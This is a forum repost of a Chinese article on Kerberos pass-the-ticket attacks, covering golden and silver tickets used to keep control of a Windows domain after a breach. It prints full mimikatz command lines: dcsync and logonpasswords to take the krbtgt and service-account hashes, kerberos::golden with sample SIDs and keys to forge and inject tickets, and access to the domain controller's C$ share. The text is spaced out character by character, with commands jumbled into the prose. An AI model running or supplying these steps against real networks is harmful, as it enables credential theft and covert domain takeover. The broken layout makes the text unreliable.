搜索

[27028] 2020-06-29_内网渗透（四）票据传递攻击

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-06-29_内网渗透（四）票据传递攻击 内 网 渗 透 （ 四 ）   |   票 据 传 递 攻 击 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 6 - 2 9 以 下 文 章 来 源 于 安 全 加   ， 作 者 谢 公 子 票 据 传 递 攻 击 票 据 传 递 攻 击 ( P a s s   t h e   T i c k e t , P t T ) 票 据 传 递 攻 击 （ 票 据 传 递 攻 击 （ P t T ） ） 是 基 于 K e r b e r o s 认 证 的 一 种 攻 击 方 式 ， 常 用 来 做 后 渗 透 权 限 维 持 。 黄 金 票 据 攻 击 利 用 的 前 提 是 得 到 了 域 内 k r b t g t 用 户 的 N T L M   哈 希 或 A E S - 2 5 6 的 值 ， 白 银 票 据 攻 击 利 用 的 前 提 是 得 到 了 域 内 服 务 账 号 的 N T L M   哈 希 或 A E S - 2 5 6 的 值 。 票 据 传 递 攻 击 常 用 来 做 域 控 权 限 维 持 。 关 于 K e r b e r o s 认 证 ： K e r b e r o s 认 证 方 式 认 证 方 式 现 在 我 们 有 下 面 这 种 情 况 ， 域 成 员 A 获 得 了 域 中 的   k r b t g t   用 户 的   s i d   值 和 哈 希 值 ， 现 在 域 成 员 A 想 利 用 票 据 传 递 攻 击 ， 访 问 域 控 服 务 器 。 黄 金 票 据 黄 金 票 据 ( G o l d e n   T i c k e t ) 传 递 攻 击 传 递 攻 击 在 认 证 过 程 中 ， 客 户 端 与 K A S 的 通 信 会 得 到 T G T 认 购 权 证 ， 带 着 T G T 认 购 权 证 向 T G S 请 求 ， 得 到 S T 服 务 票 据 ， 用 这 个 S T 服 务 票 据 可 以 来 访 问 应 用 服 务 器 。 域 中 每 个 用 户 的 S T 服 务 票 据 都 是 由 k r b t g t 用 户 的 密 码 H a s h 来 计 算 生 成 的 ， 因 此 只 要 我 们 拿 到 了 k r b t g t 用 户 的 密 码 H a s h ， 就 可 以 随 意 伪 造 S T 服 务 票 据 ， 进 而 使 用 S T 服 务 票 据 登 陆 域 控 制 器 ， 使 用 k r b t g t 用 户 h a s h 生 成 的 票 据 被 称 为 G o l d e n   T i c k e t ， 此 类 攻 击 方 法 被 称 为 票 据 传 递 攻 击 ( P a s s   t h e   T i c k e t , P t T ) 。 在 域 中 ， 存 在 的 特 殊 用 户 ， 在 域 服 务 器 上 执 行 命 令   n e t     u s e r   可 以 看 到 存 在   k r b t g t   用 户 。 要 创 建 黄 金 票 据 ， 我 们 需 要 知 道 以 下 信 息 ： 要 伪 造 的 域 用 户 ( 这 里 我 们 一 般 填 写 域 管 理 员 账 户 ) 域 名 域 的 S I D 值 ( 就 是 域 成 员 S I D 值 去 掉 最 后 的 ) k r b t g t 账 号 的 哈 希 值 或 A E S - 2 5 6 值 安 全 加 安 全 加   . 安 世 加   专 注 于 信 息 安 全 业 ， 通 过 互 联 平 台 、 线 下 沙 、 培 训 、 峰 会 、 才 招 聘 等 多 种 形 式 ， 培 养 安 全 才 ， 提 升 业 的 整 体 素 质 ， 助 推 安 全 态 圈 的 健 康 发 展 。
那 么 ， 我 们 如 何 知 道 k r b t g t 账 号 的 S I D 值 和 哈 希 值 呢 ？ 下 面 这 个 命 令 是 在 域 控 的 服 务 器 上 运 行 注 意 ， 这 里 我 们 要 的 是 域 的 S I D 值 ， 所 以 去 掉 最 后 的   5 0 2 ， 如 下 S I D 为 ： S - 1 - 5 - 2 1 - 2 1 8 9 3 1 1 1 5 4 - 2 7 6 6 8 3 7 9 5 6 - 1 9 8 2 4 4 5 4 7 7 以 下 环 境 是 在 域 成 员 A 的   a d m i n i s t r a t o r   用 户 下 进 行 ， 因 为 m i m i k a t z 需 要 管 理 员 权 限 ！ 生 成 票 据 并 导 入 ： 方 法 一 方 法 一 ： 在 m i m i k a t z 中 生 成 黄 金 票 据 并 导 入   方 法 二 方 法 二 ： 在 m i m i k a t z 中 先 生 成 票 据 ， 再 导 入 l s a d u m p : : d c s y n c   / d o m a i n : x i e . c o m   / u s e r : k r b t g t p r i v i l e g e : : d e b u g     # 提 权 k e r b e r o s : : g o l d e n   / u s e r : a d m i n i s t r a t o r   / d o m a i n : x i e . c o m   / s i d : S - 1 - 5 - 2 1 - 2 1 8 9 3 1 1 1 5 4 - 2 7 6 6 8 3 7 9 5 6 - 1 9 8 2 4 4 5 4 7 7   / k r b t g t : 7 a a d 8 1 6 2 5 f a b 4 3 e 7 f d b 3 c d 9 f 3 9 9 c 0 6 0 c   / p t t     # 生 成 票 据 并 导 入 #   k e r b e r o s : : g o l d e n   / u s e r : 要 伪 造 的 域 用 户 ( 我 们 这 一 般 写 域 管 理 员 )   / d o m a i n : 域 名   / s i d : 域 的 s i d 值   / k r b t g t : k r b t g t 的 哈 希   / p t t 或 者 也 可 以 使 用 k r b t g t 的 A E S - 2 5 6 p r i v i l e g e : : d e b u g     # 提 权 k e r b e r o s : : g o l d e n   / u s e r : a d m i n i s t r a t o r   / d o m a i n : x i e . c o m   / s i d : S - 1 - 5 - 2 1 - 2 1 8 9 3 1 1 1 5 4 - 2 7 6 6 8 3 7 9 5 6 - 1 9 8 2 4 4 5 4 7 7   / a e s 2 5 6 : 9 3 c 3 3 5 c c e 0 3 8 5 8 c 9 1 7 f a 2 e a 9 8 c a 7 9 f 0 b 7 9 1 c 9 3 c 3 3 a b 1 7 9 3 6 7 8 4 5 4 8 1 1 4 6 4 8 c d a 7     / p t t # 以 上 的 命 令 是 直 接 一 步 将 生 成 的 票 据 导 入 ， 我 们 也 可 以 分 两 步 p r i v i l e g e : : d e b u g               # 提 权 k e r b e r o s : : g o l d e n   / u s e r : a d m i n i s t r a t o r   / d o m a i n : x i e . c o m   / s i d : S - 1 - 5 - 2 1 - 2 1 8 9 3 1 1 1 5 4 - 2 7 6 6 8 3 7 9 5 6 - 1 9 8 2 4 4 5 4 7 7   / k r b t g t : 7 a a d 8 1 6 2 5 f a b 4 3 e 7 f d b 3 c d 9 f 3 9 9 c 0 6 0 c           # 默 认 生 成 t i c k e t . k i r b i 票 据 k e r b e r o s : p t t   t i c k e t . k i r b i     # 导 入 票 据 # 使 用 k r b t g t 用 户 的 A E S - 2 5 6 p r i v i l e g e : : d e b u g               # 提 权 k e r b e r o s : : g o l d e n   / u s e r : a d m i n i s t r a t o r   / d o m a i n : x i e . c o m   / s i d : S - 1 - 5 - 2 1 - 2 1 8 9 3 1 1 1 5 4 - 2 7 6 6 8 3 7 9 5 6 - 1 9 8 2 4 4 5 4 7 7   / a e s 2 5 6 : 9 3 c 3 3 5 c c e 0 3 8 5 8 c 9 1 7 f a 2 e a 9 8 c a 7 9 f 0 b 7 9 1 c 9 3 c 3 3 a b 1 7 9 3 6 7 8 4 5 4 8 1 1 4 6 4 8 c d a 7         # 默 认 生 成 t i c k e t . k i r b i 票 据 k e r b e r o s : p t t   t i c k e t . k i r b i     # 导 入 票 据
查 看 票 据 查 看 票 据 然 后 在 我 们 域 成 员 主 机 上 的 C M D 窗 口 可 以 查 看 到 该 票 据 也 可 以 在 m i m i k a t z 中 查 看 该 票 据 验 证 是 否 成 功 验 证 是 否 成 功 我 们 也 可 以 将 该 票 据 删 除 ： 白 银 票 据 白 银 票 据 ( S i l v e r   T i c k e t ) 传 递 攻 击 传 递 攻 击 白 银 票 据 S i l v e r   T i c k e t 不 同 域 黄 金 票 据 G o l d e n   T i c k e t 。 白 银 票 据 的 利 用 过 程 是 伪 造 T G S ， 通 过 已 知 的 授 权 服 务 密 码 生 成 一 张 可 以 访 问 该 服 务 的 T G T 。 因 为 在 票 据 生 成 过 程 中 不 需 要 使 用 K D C ， 所 以 可 以 绕 过 域 控 ， 很 少 留 下 日 志 。 黄 金 票 据 使 用 k r b t g t 账 号 的 密 码 散 列 值 ， 利 用 伪 造 高 权 限 的 T G T 向 K D C 要 求 颁 发 拥 有 任 意 服 务 访 问 权 限 的 票 据 ， 从 而 获 取 域 控 权 限 。 而 白 银 票 据 会 通 过 相 应 的 服 务 账 号 来 伪 造 T G S ， 例 如 ： L D A P 、 M S S Q L 、 W i n R M 、 D N S 、 C I F S 等 ， 范 围 有 限 ， 只 能 获 取 对 应 服 务 的 权 限 。 要 创 建 白 银 票 据 ， 我 们 需 要 知 道 以 下 信 息 ： 要 伪 造 的 域 用 户 ( 这 里 我 们 一 般 填 写 域 管 理 员 账 户 ) 域 名 # 以 下 两 个 命 令 均 可 以 看 到 当 前 会 话 中 的 票 据 k e r b e r o s : : l i s t k e r b e r o s : : t g t n e t   u s e   k :   W I N 2 0 0 8 . x i e . c o m c $       # 将 W I N 2 0 0 8 的 C 盘 映 射 到 本 地 的 K 盘 ， 注 意 这 里 格 式 只 能 是   主 机 名 . 域 名   的 形 式 ， 而 不 能 写 i p k e r b e r o s : : p u r g e             # 删 除 票 据 k e r b e r o s : : l i s t               # 查 看 票 据
域 的 S I D 值 ( 就 是 域 成 员 S I D 值 去 掉 最 后 的 ) 目 标 服 务 的 F Q D N 可 利 用 的 服 务 服 务 账 号 的 N T L M 哈 希 使 用 白 银 票 据 伪 造 使 用 白 银 票 据 伪 造 C I F S 服 务 权 限 服 务 权 限 C I F S 服 务 通 常 用 于 W i n d o w s 主 机 之 间 的 文 件 共 享 。 （ 1 ） 使 用 m i m i k a t z 获 得 服 务 账 号 的 N T L M 哈 希 值 （ 2 ） 进 行 白 银 票 据 攻 击 ( 3 )   查 看 系 统 中 的 票 据 ( 4 )   访 问 域 控 的 C 盘 黄 金 票 据 和 白 银 票 据 的 不 同 黄 金 票 据 和 白 银 票 据 的 不 同 访 问 权 限 不 同 ： 黄 金 票 据 G o l d e n   T i c k e t ： 伪 造 T G T ， 可 以 获 取 任 何 K e r b e r o s 服 务 权 限 白 银 票 据 S i l v e r   T i c k e t ： 伪 造 T G S ， 只 能 访 问 指 定 的 服 务 加 密 方 式 不 同 ： G o l d e n   T i c k e t 由 k r b t g t 的 H a s h 加 密 S i l v e r   T i c k e t   由 服 务 账 号 （ 通 常 为 计 算 机 账 户 ） H a s h 加 密 认 证 流 程 不 同 ： G o l d e n   T i c k e t 的 利 用 过 程 需 要 访 问 域 控 ， 而 S i l v e r   T i c k e t 不 需 要 隐 蔽 性 不 同 ： 白 银 票 据 依 赖 于 服 务 账 号 的 密 码 散 列 值 ， 而 黄 金 票 据 需 要 利 用 k r b t g t 账 号 的 密 码 散 列 值 ， 因 此 白 银 票 据 更 隐 蔽 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！   p r i v i l e g e : : D e b u g s e k u r l s a : : l o g o n p a s s w o r d s k e r b e r o s : : g o l d e n   / d o m a i n : x i e . c o m   / s i d : S - 1 - 5 - 2 1 - 2 1 8 9 3 1 1 1 5 4 - 2 7 6 6 8 3 7 9 5 6 - 1 9 8 2 4 4 5 4 7 7   / t a r g e t : W I N 2 0 0 8 . x i e . c o m   / s e r v i c e : c i f s   / r c 4 : 2 9 0 c 6 9 9 7 9 8 b 4 7 b 8 0 9 5 0 0 b 3 b b d 4 e d 3 e 2 f   / u s e r : a d m i n i s t r a t o r   / p t t k l i s t
    目 前 目 前 2 8 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理